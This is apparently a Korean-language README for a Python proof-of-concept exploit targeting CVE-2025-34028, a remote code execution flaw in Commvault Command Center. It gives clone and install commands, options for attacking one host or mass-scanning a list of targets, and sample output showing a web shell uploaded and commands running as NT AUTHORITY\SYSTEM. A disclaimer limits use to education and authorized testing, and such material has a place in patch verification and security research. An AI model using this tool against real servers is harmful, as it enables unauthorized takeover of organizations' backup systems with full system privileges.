
CVE-2025-34028(Commvault Command Center의 원격 코드 실행 취약점)에 대한 개념 증명(PoC)입니다. 이 Python 스크립트는 단일 또는 여러 대상을 스캔하고, 명령을 실행하며, 취약한 호스트를 보고합니다.
CVE-2025-34028, Commvault Command Center의 원격 코드 실행 취약점을 위한 Python 익스플로잇입니다. 이 도구는 단일 대상 테스트 또는 여러 호스트를 대량으로 스캔하는 기능을 제공합니다.
git clone https://github.com/Mattb709/CVE-2025-34028-Commvault
cd CVE-2025-34028-Commvault
pip install -r requirements.txt
다음 명령으로 요구 사항을 설치하세요:
pip install requests tabulate
usage: CVE-2025-34028-Commvault.py [-h] (-t TARGET | -f TARGETS_FILE)
CVE-2025-34028 Commvault RCE Exploit
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Single target URL (e.g., https://192.168.1.100:8000)
-f TARGETS_FILE, --file TARGETS_FILE
File containing multiple targets, one per line
단일 대상 테스트:
python CVE-2025-34028-Commvault.py -t https://commvault.example.com:8000
파일에서 여러 대상 스캔:
python CVE-2025-34028-Commvault.py -f targets.txt
대상 파일은 한 줄에 하나의 대상을 다음 형식으로 포함해야 합니다:
https://host:port
http://ip
targets.txt 예시:
https://cv.company.com:8000
http://192.168.1.100
https://10.10.10.5:443
이 스크립트는 다음을 제공합니다:
출력 예시:
CVE-2025-34028 Commvault RCE PoC
[1] Processing target: https://cvtest.example.com:8000
[1] [+] Valid Commvault instance detected
[1] [+] Shell uploaded successfully
[1] [+] System User: NT AUTHORITY\SYSTEM
[+] Results Summary
+---------+------------------------------+---------------------+------------------+
| Index | URL | Status | System User |
+---------+------------------------------+---------------------+------------------+
| 1 | https://cvtest.example.com:8000 | RCE Successful | NT AUTHORITY\SYSTEM |
+---------+------------------------------+---------------------+------------------+
이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다. 작성자는 이 프로그램의 오용이나 손상에 대해 책임을 지지 않습니다.
MIT License - 자세한 내용은 LICENSE 파일을 참조하세요.